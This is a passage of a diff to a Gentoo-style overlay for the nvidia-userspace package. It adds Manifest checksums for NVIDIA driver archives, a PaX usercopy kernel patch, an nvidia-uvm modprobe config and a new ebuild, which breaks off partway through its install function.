+DIST NVIDIA-FreeBSD-x86-304.123.tar.gz 34160879 SHA256 7e4433364c5f42de6611b8cf722e0073eae6763a6664d6b9fd652ef05ebee24b SHA512 7b65ab3e99bfb9f95655c3d9124849bb830d12e43ff2d5297496c114dcdd68f738229ea244f95c53e1fc9d62d64ad3b2efb17eccac0fc2f280e8f226a9a47e7d WHIRLPOOL a33ef07363f336b01248434e4aae80bad0ce5d20985dca53484c63c4f39eae9d5b2e8cab1e08e20a8857aac8acd15ac42605a8e3af1fc3f11b8dc9d75914db09
+DIST NVIDIA-FreeBSD-x86-331.67.tar.gz 55876749 SHA256 0c88c363db516ef09b0027aacb1e686191d3d4676f44445bab2156c2197a6cae SHA512 0394aefbcd99a40e5cfc03a169bbf4bd8d34828cf2656ea49c560312e1cb7f575eeb32cd8dfe6f22a259e04efcf5183149846dee18b6ee254987f333fba82cba WHIRLPOOL 8b179600db7e8d1be476761ab0d5e6b5d10167e936044bf5de89115012bcdc0ecdd1ee7ed6da969261fe95f8b05c4b97a41343ed0ae2d283ff777d58971fbd7e
+DIST NVIDIA-FreeBSD-x86-337.19.tar.gz 57982032 SHA256 49cc3dd716b6d74a308ea307146d9952d048f717814d5bec7bf1cdab9237f4da SHA512 379c6b216e1cfe44cac81a40700d4f44c13b5b30b6144c78103429f16e203915ed83c486de13e7865d833fdb4638f7a117c05952790839b052958cecc7982c59 WHIRLPOOL 1d4be4d8693381ed8796c7bb38ed9a4055c24e11be5e201d7f9bab68c12f7ccc2ded2d69d8cd8ffabe5f6269464ed0c883e6f4290fa8f04f93666e3b04724921
+DIST NVIDIA-FreeBSD-x86-337.25.tar.gz 58137349 SHA256 9857b24b5d910fb8688a2b9e11039d88b70ec250e900149183454675a363e8db SHA512 0c85814061732bd09948b5fd203d5d3a1fd5df0e1c23f4af11e1cfae6f7d8c7d7f569f35398c2c5551abf7eb5ce357229fa9b16ce2c21799e96396cff3313777 WHIRLPOOL a7ca516e184334117e1cdd45b3f4c1b0a8c50281ffd1c3859865d877c2bfb20136c308b1ff09e4d64d0e7fef8eeddacab488d0bc30c98d82a9280572be5f0de0
+DIST NVIDIA-FreeBSD-x86-340.24.tar.gz 59001888 SHA256 43717bc70d138ac841c85befcc0475c9403354134d8a91529198a9b93951497a SHA512 a69f488d4c751e0f3307532579b386fc01538dc20a561c84fd01a22326a2a7af8a72f54c7e883b25f32a66b4f459ff65b870f0e9e74eae956a15076074665e60 WHIRLPOOL 0c2436d99bb5fa1b5d728781417c897f2f65bb78b517642c103fa67739b33a9f65d582063bdb000fd068a522bea48253b55aa843c88dbe914cd3f8dc19551a3b
+DIST NVIDIA-FreeBSD-x86-340.32.tar.gz 59021194 SHA256 ee4f34a279ae84b97373adbc8c91ab7d34eb52dd4a7b095d51d8592b3e264df8 SHA512 9b5eafa48ccb105fe978242096c99355a291314cacf7a232cb81292355dffac5496cdb8667fa4ad3f0f2286792bf0473f523535e3258bb3b0237c76dbf5ba837 WHIRLPOOL b9438f675f65ec0b55aa2c1ca8c3beb35d20f3c56837bbeb02d511b66d4bce825ba95852ecbca70f6f83ff53f23c98e1c0d2bd313d195426fea63baed27c1cce
+DIST NVIDIA-FreeBSD-x86_64-304.121.tar.gz 34946870 SHA256 91fd8f924b99682c59f96e1b4513f8d2c51985fff743c8a448861b536955e2e9 SHA512 890a20aa82d16197a5633c8128dac5a042e057aef3cb5d338daafd284960a9851201f9bec68a06c10a632704b7537d13079f0f539565962a1092dc7eec324b11 WHIRLPOOL 52128075de0d8e841c340dbe408aad6ee10fea41a0b203ffa82ad5a0bf836d7b348e3de6d516012507df64de561741a18d9205a1752b635ec6b049d0c29a3e48
+DIST NVIDIA-FreeBSD-x86_64-304.123.tar.gz 35144064 SHA256 32ea8ce22b4fe50f59782c390b8ec1d90bb44e02787255476f0304c60f11e877 SHA512 e12f55e2a303e8df628b3d7e5f2c80517cae4f6a146f20a3c10ab2d1147b4bc9386b678bbab9e519e28ea921832e1c855b4b8f4643c839717c5c97a833679b2a WHIRLPOOL 5d751bf72e1e089edcaab34d2ba8d413793a92c5a0d3601ff71285b458ad6aef4632481ece9f520f2006440d35b2eab3941e30f54d79351bc8da3ba12eaf3388
+DIST NVIDIA-FreeBSD-x86_64-331.67.tar.gz 46997728 SHA256 5781bba8b7783f96c1f239961140317426910633fbfa3ba80fdcefe54aec7e92 SHA512 1653c03e091451f14c040c2b56de8574e5fd5d7b24db6ce979f99693f6a10e61e6c28fb3a962288a135551664973bba6d2f29b92aff726a4ee592fddc807db4e WHIRLPOOL a97d473c786451c7cb88155edb12a86da5f2888a584da7538dae93056357d0c63f294d638f6949c7a6f8255c60c3db84fdbb28ce10cd6da4c82758f95eb90679
+DIST NVIDIA-FreeBSD-x86_64-337.19.tar.gz 58790725 SHA256 25a9092675ac666d5adabd03eb367febdd1d931ab2df278fd854fbdf1b19dccf SHA512 fc430507dc3a572b6867d4688d41878d0baece2eb39c626445ed640eb063ea286e63af22b1507986cca77b293abd091d49aee28a04eedc3d9ccbf9310dcaf945 WHIRLPOOL 3efeaada02fcc738a3623ec9e1615688ac74183d028c9dfd57a3d1397ff705a7d7e16399433ae1227e183511ab04ac710c0a978bc47c14df199d257f7267add4
+DIST NVIDIA-FreeBSD-x86_64-337.25.tar.gz 58941876 SHA256 189dc0f70528d0099d0396a52bf759af74d6a99203484be2d2d6514faf0d4161 SHA512 458c9200579a6caed02aabbc196ec998a0d19149cca665c5ef9bc709c018b991b27713c92d00bdd1ea6ddd86e04c641f387e1ec8a1235cc9581af9e7a3b19ebf WHIRLPOOL d819cf486edc443b1da39ea67582a12698b1dea1501f3b6738014a80f8a96260aa0ba30a9e2f1fac075f0f7d604dc94978f7f82092b40531dd4989a2954cc420
+DIST NVIDIA-FreeBSD-x86_64-340.24.tar.gz 59816713 SHA256 b05f406a887d6b96bc58b46338db43fffa8f702cf460a45adfbe1b90d96909d4 SHA512 6c789964f4b873c5404aeaf7ad742460217dc39719b3a3776639ddf53646495e72c155f8c2976f629297a3ec5bb22ae62e3a64eae423f482bd9338394e6f67a9 WHIRLPOOL b081ca26c0a8ebc07e2bef362b844ca165944741178ee6263c93704ef7c45748f3d9902eca6947688f0b5807a94aad04a8ec1ed0e6ae6053d741bc534fe7553f
+DIST NVIDIA-FreeBSD-x86_64-340.32.tar.gz 59836909 SHA256 4a55cbd4f87528d4d5b5a8809a8c6e2dac9ad22b0f8b357590893dfb39e52512 SHA512 ef333d94a147e04292d6e197ee72a7abfb10a84665931876455b689409af42ac713d1a16f965214a46d9dd28fd324769fa4dd14dde5caf20a8b23a9683b6c55e WHIRLPOOL 76fd78eb97b69d7a5d7dc46e06a8d7b4dc3fadc1f2c6995d86161ca90ce99ec4a0b42eedf09939a4436481bad33ef201f49c73c8add833cf912af86774d47b34
+DIST NVIDIA-Linux-x86-173.14.39-pkg0.run 15134997 SHA256 a09935f37121ed3db8ae3da63a0d8e9d4348a19c859811c9fe44d6ce8e3eab23 SHA512 e24e15ccec725d3cbca502c2b77061776a81ef92917a950adec4ff6bdc34f10903aa654433177ea74be0dade4af81c5380d5710d375a5ea445940d06154bde93 WHIRLPOOL fce3d8e4f6cdf698f5a057514b6fe220bb1011025bdce5bd4cf0e424fb4d306d38251b6726bda03f290ea8137d5a95ed418cf8751722879f9042462abd9181b6
+DIST NVIDIA-Linux-x86-304.121.run 40081628 SHA256 25ee2e45bd1f728b9de30a88575dadea210549d812944fff2026cf192ea4c52d SHA512 a3848474f7996c260fb3f2692d2c35b17738d6f13fd20fcd49e52bd6b7fcefb91b436ebf0670579aa5cb7d250f5d2eb6ce28b4c087fa5c33373a2da91c42138f WHIRLPOOL 1fd3c0e8f397a9bc58011bbe8d830df9f46370bcb85c9df0e1155ced1d85f9106dd30fae9d708ff94ce92ebe04fa68e6d8ac32ae19840b92e0d3d29553e1ab85
+DIST NVIDIA-Linux-x86-304.123.run 40250272 SHA256 d5034900173cb7195f52bd6add5bf574dfcd8868bd75c0e1793592c03b97f425 SHA512 7397a28c67a3cfc5ad58f079ced4c45639922c39008d606ca703c22dde34374c4942c894eec49d42187cf00cb0179e3dcf80edd28a81c4c89456a62e42f12b43 WHIRLPOOL 8b55196678cddba5e640f90525d69835c273befe01e4e1a87c00a21839e9a86bc68829a3c59c64609c47475466a158f43d8579897728cabe6b6bc0eadef62e2b
+DIST NVIDIA-Linux-x86-331.67.run 37064511 SHA256 696b4a574ad3cb2b3286e0848e7e831940110cc33c63de51890154dbbd31acc6 SHA512 2a17854b366aa67a398c8d66134fb78d0ccdf4a6b2fe874bb7c146cfd24501431ed7448f5b7e24c8f78c6b1f6c2d5da207fbf568c2135ef53e51e83ce02cc374 WHIRLPOOL 4ad64717eb43043bacfbecdd6efe38bc5bf598acf172984e7c3eb1dcd779a9cbe53a76ac6e7b94b1d950d1f279147ceee4037d89be589fef2219d826eb86d09e
+DIST NVIDIA-Linux-x86-337.19.run 37872888 SHA256 f612f1a8a3ddaf867d52930a7292b75b811f56c3c12a0a70e1f6800363c640da SHA512 644b1491eaa61336af43eb2b5ff5eaaee4316936e9de97b64f84228b432428300770976a5ea0a461dd01f97d444ab8242480bc6b0265e7cba3b75f3d7a07a1bd WHIRLPOOL b347503614818df9c87ffa0ec1a123c339aa4b616dec58087b8e45cfdc229662bdc661dbd9fb68fd2ca19af5fb7d363540a2c440e9d854faf7728902d52f3dbd
+DIST NVIDIA-Linux-x86-337.25.run 37649836 SHA256 f76ece6bd98bfe2ae641a1847094e98c6f7ad7a01af682b4f38108d6b6227f9b SHA512 f68105a43f9129f4112c8a091ed7c9641708b62d20c199544e5e7079d5c5bdc0b6c83427be868e62c7134400ca62cab6a65eaff96ddb940768750250cbd50112 WHIRLPOOL 1ff92ffe33dad59bf393a7b6fe7523362433704dc8329701e74814c2eef833d15e44334264601080b90f723f5390ce6502fa3ed530fe9fadaf3efff139e65047
+DIST NVIDIA-Linux-x86-340.24.run 38451146 SHA256 55ed96acf22b6f67ce352576e73963730eb6a404df7ee8563d7dc1984d8fb130 SHA512 fc2bdd4346cb09607f20fa30c026fac302d0660a90f79192f41cf0c7f92877d8a1686fb3125996f2fc96884d6c1b886de9bf95cf2a5fe31068ba2a43d677c61e WHIRLPOOL 4a165fec8835fbd3aa36e3075140bbcd1b4e3ae76b4763bd9f17e4522c95bbbcc7686de6d1219a293d93804471b56c4b3f8a31f10f62227a8eec59457b747e10
+DIST NVIDIA-Linux-x86-340.32.run 38587515 SHA256 1d0489c35c5b332c9b949d9de3c3cbab4ac3a94385aa41e7a7b62ef23f4395f5 SHA512 a67e57a1bd70a9cd5ae2bed70403920ed94d8eac9d08dcd380f6065cd597d5824e26ae25a0bcd56626190124c07d128f3b0429040794c8e8d3ead85860fcb646 WHIRLPOOL 66bf6db27edddae845606e82cf9397dbf483bbde23e97899575c8ac3f6ce86c84d88f8e60c60b1aad1360fe9bea4f43de030a849f88f43d482508de23cd24d8e
+DIST NVIDIA-Linux-x86_64-173.14.39-pkg2.run 21100833 SHA256 15a953666d5681ba54c97498b578ffd286a1dc96d605f3b02110f3f99813100e SHA512 a65cd496e6ed57f771c3d99f37f616a1242d97844f6faef7a807825ad899c0e536a99fde397020839f0857883b934032f9491024f3047a6b06d3eea1f5d77713 WHIRLPOOL dc5f243b7d1de7e2d1b7f005e018a2940d63335b11a7c83c234b348b7a1839e9131169d2ea928bd8c2f549a4535149b03e16e6c94d59dfa745f7f904ff790a45
+DIST NVIDIA-Linux-x86_64-304.121.run 68553265 SHA256 6532eef8b6f65dc44ed912b4ffa86494a954ae98f53c3ffd394fa511cdf75928 SHA512 d5d241043dab325aee209bcd8732c557250847f41408e1aded2026c849dddbc7d5cf3c42fc63e3bb6b81c2563359c763f902bbfe344258f0964fdc9edcb98d54 WHIRLPOOL ec7ea87171a22dfb73e0e9db48d0ac721a7be9d12c06073a481868690741afe34ffa861967ba919a13aafc9c83f55627c361e7b261a8fa0acce2d880545d2fb4
+DIST NVIDIA-Linux-x86_64-304.123.run 68755898 SHA256 68ee60d2a96ff80adad7e62f79f55f137dd10b8c38ce6c60fb481e73fdf6b155 SHA512 b16df726e8ba48153fcea337ab198c913eaa9f1dd004bed5c4262731e12c5a7c775c2a31996e207d051e4e479b7eb5173fcffe07d9988877385503f940e15dd8 WHIRLPOOL e9fe629dd262e68fe776c28fd93b4923d03681b2761265383becf914e84429f094b311b6e02051d2fb61436d48a59051d20fe9c8803fe7ed7daf98cd936f0dab
+DIST NVIDIA-Linux-x86_64-331.67.run 60231750 SHA256 9c7f2bb44bb26a5effb915d8aa22132a6c06483e0cfa6f47b7265b15da83bbd7 SHA512 7368a60c282386bc5b68599cacd07a18a9be4c3fd624eac9eb92966221318723c3f44ae033163789eae1ae683e729d49268769e79c465aca6632c5a7e6d6942a WHIRLPOOL 552f590257e3e1e53b83563aeea840a78869c10ea2707cea779da99ec726cc17398fada84379537ac2e6a7dc8a653c8b00141ab35adb10a5a49d0da565c2eb73
+DIST NVIDIA-Linux-x86_64-337.19.run 68351793 SHA256 bd6998c4aa5e491fb8fcb957b11dfb983ebfb755e938fce0382b006a7aba59d2 SHA512 a3e01705a5c2b3a18e1ea1f5e9dc12043e2fd3b433ca2f76d45add137e5b3d44082bd790486615bd4a58473ba642d7ebc29abe848bee686e1478d7a3f57429a5 WHIRLPOOL 3d8e0192f3f0aeb4bf2699a567d1b41a1536f29331a89387f28bfd2335d8147ef9d6c4cbff8fe8d239ca15473e5d68c5ddb55f38a7f979ad0d81b66bcf13b068
+DIST NVIDIA-Linux-x86_64-337.25.run 68053486 SHA256 83280f7738f65bb2e790e7530a38978cf0bd0aa741eda51629c9e9b068128af0 SHA512 27cb5030da00d6fa2a2dd6701cc149ce885e7ff7e7ca4f1629c27737357fdadedec41e830f5cacabef14646515d6d2729f753d78424260316e28111f2c3e53b9 WHIRLPOOL 72eba5239ae7272d3501403ef292f0e131896b3dd852a7e2423e79206d99aa5a4a3b98eb4193ad5cd1e0247ffd48189d3a3ba02ca307a759a4f15b9c9a386dbd
+DIST NVIDIA-Linux-x86_64-340.24.run 69647833 SHA256 db0f4f45ece587b95a8ceb0d1acf6f7f758a370ee0c4adfa2403ba4828d58ce6 SHA512 c6f0b69786cc4be96e2d6e44d35b52758df990b51e826bea86ff626e31d853b3b5c774db8ccc881bed24d638e9c1afb903ed98d7f35a73d549ce812bdae459f7 WHIRLPOOL 25d3621d98ec012afdc3d5a0614292992d0569f3d5df38f127fe79a00fbdf25b2b548ddbdc01d59806d301a454fe79ee90e63ac1574e911aa51985e6c7bfd4d7
+DIST NVIDIA-Linux-x86_64-340.32.run 69753673 SHA256 ef96003110564953cad4ffaec073696dcf9652338dfe5eb0c58ae3ce45db42ac SHA512 24c2dec161022bd229862ad66711232cf6424a0bd1eb056d7eb22a34e265d4b1f6208779cf507b480189f95f795d580a30ec5f8ab1bff549d2a41a57adcc14b4 WHIRLPOOL 6422498998253003fc1e1d6396449d2fe35b5836a083a254d9d7439434e5a3e1cf55afbcc3860a234ee9b3d0a1b18b9c58e4946107465559f0dcb121ef796e5a
diff --git a/x11-drivers/nvidia-userspace/files/nvidia-drivers-331.13-pax-usercopy.patch b/x11-drivers/nvidia-userspace/files/nvidia-drivers-331.13-pax-usercopy.patch
new file mode 100644
index 00000000..9777ce6c
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/nvidia-drivers-331.13-pax-usercopy.patch
@@ -0,0 +1,52 @@
+--- a/kernel/nv-linux.h
++++ b/kernel/nv-linux.h
+@@ -757,16 +757,16 @@
+
+ #if defined(NV_KMEM_CACHE_CREATE_PRESENT)
+ #if (NV_KMEM_CACHE_CREATE_ARGUMENT_COUNT == 6)
+-#define NV_KMEM_CACHE_CREATE(kmem_cache, name, type) \
++#define NV_KMEM_CACHE_CREATE(kmem_cache, name, type, flags) \
+ { \
+ kmem_cache = kmem_cache_create(name, sizeof(type), \
+- 0, 0, NULL, NULL); \
++ 0, flags, NULL, NULL); \
+ }
+ #elif (NV_KMEM_CACHE_CREATE_ARGUMENT_COUNT == 5)
+-#define NV_KMEM_CACHE_CREATE(kmem_cache, name, type) \
++#define NV_KMEM_CACHE_CREATE(kmem_cache, name, type, flags) \
+ { \
+ kmem_cache = kmem_cache_create(name, sizeof(type), \
+- 0, 0, NULL); \
++ 0, flags, NULL); \
+ }
+ #else
+ #error "NV_KMEM_CACHE_CREATE_ARGUMENT_COUNT value unrecognized!"
+--- a/kernel/nv.c
++++ b/kernel/nv.c
+@@ -794,7 +794,7 @@
+ NV_SPIN_LOCK_INIT(&km_lock);
+ #endif
+
+- NV_KMEM_CACHE_CREATE(nv_stack_t_cache, NV_STACK_CACHE_STR, nv_stack_t);
++ NV_KMEM_CACHE_CREATE(nv_stack_t_cache, NV_STACK_CACHE_STR, nv_stack_t, SLAB_USERCOPY);
+ if (nv_stack_t_cache == NULL)
+ {
+ nv_printf(NV_DBG_ERRORS, "NVRM: stack cache allocation failed!\n");
+@@ -924,7 +924,7 @@
+ nv->os_state = (void *) &nv_ctl_device;
+ nv_lock_init_locks(nv);
+
+- NV_KMEM_CACHE_CREATE(nv_pte_t_cache, NV_PTE_CACHE_STR, nv_pte_t);
++ NV_KMEM_CACHE_CREATE(nv_pte_t_cache, NV_PTE_CACHE_STR, nv_pte_t, 0);
+ if (nv_pte_t_cache == NULL)
+ {
+ rc = -ENOMEM;
+@@ -935,7 +935,7 @@
+ if (NV_BUILD_MODULE_INSTANCES == 0)
+ {
+ NV_KMEM_CACHE_CREATE(nvidia_p2p_page_t_cache, "nvidia_p2p_page_t",
+- nvidia_p2p_page_t);
++ nvidia_p2p_page_t, 0);
+ if (nvidia_p2p_page_t_cache == NULL)
+ {
+ rc = -ENOMEM;
diff --git a/x11-drivers/nvidia-userspace/files/nvidia-uvm.conf b/x11-drivers/nvidia-userspace/files/nvidia-uvm.conf
new file mode 100644
index 00000000..222c5ba3
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/nvidia-uvm.conf
@@ -0,0 +1,3 @@
+# Nvidia UVM support
+
+remove nvidia modprobe -r --ignore-remove nvidia-uvm nvidia
diff --git a/x11-drivers/nvidia-userspace/metadata.xml b/x11-drivers/nvidia-userspace/metadata.xml
index b4cf3e70..2d64b717 100644
--- a/x11-drivers/nvidia-userspace/metadata.xml
+++ b/x11-drivers/nvidia-userspace/metadata.xml
@@ -1,7 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
<pkgmetadata>
-<herd>no-herd</herd>
<maintainer>
<email>lxnay@gentoo.org</email>
<description>General maintainer</description>
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-173.14.39.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-173.14.39.ebuild
new file mode 100644
index 00000000..594ac6fe
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-173.14.39.ebuild
@@ -0,0 +1,395 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}-pkg0.run )
+ amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}-pkg2.run )
+ x86-fbsd? ( ftp://download.nvidia.com/freebsd/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="x11-base/xorg-server
+ kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+ multilib? ( app-emulation/emul-linux-x86-opengl )
+ >=app-admin/eselect-opengl-1.0.9"
+DEPEND="${COMMON}
+ kernel_linux? ( virtual/linux-sources )"
+# Note: do not add !>nvidia-userspace-ver or !<nvidia-userspace-ver
+# because it would cause pkg_postrm to set the wrong opengl implementation
+RDEPEND="${COMMON}"
+PDEPEND=""
+
+QA_TEXTRELS_x86="usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+ usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+ usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+ usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+ usr/lib/xorg/modules/drivers/nvidia_drv.so
+ usr/lib/libcuda.so.${PV}
+ usr/lib/libnvidia-cfg.so.${PV}
+ usr/lib/libvdpau_nvidia.so.${PV}
+ usr/lib/libXvMCNVIDIA.so.${PV}"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+ usr/lib/opengl/nvidia/lib/libGL.so.1
+ usr/lib/opengl/nvidia/lib/libGLcore.so.1
+ usr/lib/libnvidia-cfg.so.1
+ usr/lib/opengl/nvidia/extensions/libglx.so.1
+ usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+ usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+ usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+ usr/lib32/libcuda.so.${PV}
+ usr/lib32/libvdpau_nvidia.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+ usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+ usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+ usr/lib/xorg/modules/drivers/nvidia_drv.so
+ usr/lib/libXvMCNVIDIA.a:NVXVMC.o"
+
+QA_EXECSTACK_amd64="usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+ usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+ usr/lib64/libnvcompiler.so.${PV}
+ usr/lib64/libXvMCNVIDIA.so.${PV}
+ usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+ usr/lib64/libnvidia-cfg.so.${PV}
+ usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+ usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+ usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+ usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+ usr/lib64/xorg/modules/drivers/nvidia_drv.so
+ usr/bin/nvidia-smi
+ usr/bin/nvidia-xconfig"
+
+QA_WX_LOAD_x86="usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+ usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+ usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+ usr/lib/libXvMCNVIDIA.a"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+ usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+ usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+ usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+ usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvcompiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+ usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+ usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+ usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+ usr/lib32/libvdpau_nvidia.so.${PV}
+ usr/lib64/libXvMCNVIDIA.so.${PV}
+ usr/lib64/libcuda.so.${PV}
+ usr/lib64/libnvidia-cfg.so.${PV}
+ usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+ usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+ usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+ usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+ usr/lib64/xorg/modules/drivers/nvidia_drv.so
+ usr/lib64/libvdpau_nvidia.so.${PV}
+ usr/bin/nvidia-smi
+ usr/bin/nvidia-xconfig"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+ usr/lib/libnvidia-cfg.so.${PV}
+ usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+ usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+ usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+ usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+ usr/lib/xorg/modules/drivers/nvidia_drv.so
+ usr/lib/libXvMCNVIDIA.so.${PV}
+ usr/lib/libvdpau_nvidia.so.${PV}
+ usr/bin/nvidia-smi
+ usr/bin/nvidia-xconfig"
+
+if use x86; then
+ PKG_V="-pkg0"
+ NV_PACKAGE="${X86_NV_PACKAGE}"
+elif use amd64; then
+ PKG_V="-pkg2"
+ NV_PACKAGE="${AMD64_NV_PACKAGE}"
+elif use x86-fbsd; then
+ PKG_V=""
+ NV_PACKAGE="${X86_FBSD_NV_PACKAGE}"
+fi
+
+S="${WORKDIR}/${NV_PACKAGE}${PKG_V}"
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+ eerror "This ebuild doesn't currently support changing your default abi."
+ die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+ fi
+
+ # On BSD userland it wants real make command
+ use userland_BSD && MAKE="$(get_bmake)"
+
+ export _POSIX2_VERSION="199209"
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ NV_DOC="${S}/doc"
+ NV_EXEC="${S}/obj"
+ NV_LIB="${S}/obj"
+ NV_SRC="${S}/src"
+ NV_MAN="${S}/x11/man"
+ NV_X11="${S}/obj"
+ NV_X11_DRV="${NV_X11}"
+ NV_X11_EXT="${NV_X11}"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_DOC="${S}/usr/share/doc"
+ NV_EXEC="${S}/usr/bin"
+ NV_LIB="${S}/usr/lib"
+ NV_SRC="${S}/usr/src/nv"
+ NV_MAN="${S}/usr/share/man/man1"
+ NV_X11="${S}/usr/X11R6/lib"
+ NV_X11_DRV="${NV_X11}/modules/drivers"
+ NV_X11_EXT="${NV_X11}/modules/extensions"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_unpack() {
+ if ! use x86-fbsd; then
+ mkdir "${S}"
+ cd "${S}"
+ unpack_makeself
+ else
+ unpack ${A}
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+ use x86-fbsd && cd doc
+
+ # Use the correct defines to make gtkglext build work
+ epatch "${FILESDIR}"/NVIDIA_glx-defines.patch
+ # Use some more sensible gl headers and make way for new glext.h
+ epatch "${FILESDIR}"/NVIDIA_glx-glheader.patch
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use x86-fbsd; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ fi
+}
+
+src_install() {
+ if use kernel_linux; then
+ # Add the aliases
+ # This file is tweaked with the appropriate video group in
+ # pkg_postinst, see bug #491414
+ newins "${FILESDIR}"/nvidia-169.07 nvidia.conf
+ fi
+
+ # NVIDIA kernel <-> userspace driver config lib
+ dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+ die "failed to install libnvidia-cfg"
+
+ # Xorg DDX driver
+ insinto /usr/$(get_libdir)/xorg/modules/drivers
+ doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+ # Xorg GLX driver
+ insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+ doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+ die "failed to install libglx.so"
+ dosym /usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so.${NV_SOVER} \
+ /usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+ die "failed to create libglx.so symlink"
+
+ # XvMC driver
+ dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+ die "failed to install libXvMCNVIDIA.so"
+ dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+ die "failed to install libXvMCNVIDIA.so"
+ dosym libXvMCNVIDIA.so.${NV_SOVER} /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+ die "failed to create libXvMCNVIDIA.so symlink"
+
+ # CUDA headers (driver to come)
+ if use kernel_linux && [[ -d ${S}/usr/include/cuda ]]; then
+ dodir /usr/include/cuda
+ insinto /usr/include/cuda
+ doins usr/include/cuda/*.h || die "failed to install cuda headers"
+ fi
+
+ # OpenCL headers (driver to come)
+ if [[ -d ${S}/usr/include/CL ]]; then
+ dodir /usr/include/CL
+ insinto /usr/include/CL
+ doins usr/include/CL/*.h || die "failed to install OpenCL headers"
+ fi
+
+ # Documentation
+ dodoc ${NV_DOC}/XF86Config.sample
+ dohtml ${NV_DOC}/html/*
+ if use x86-fbsd; then
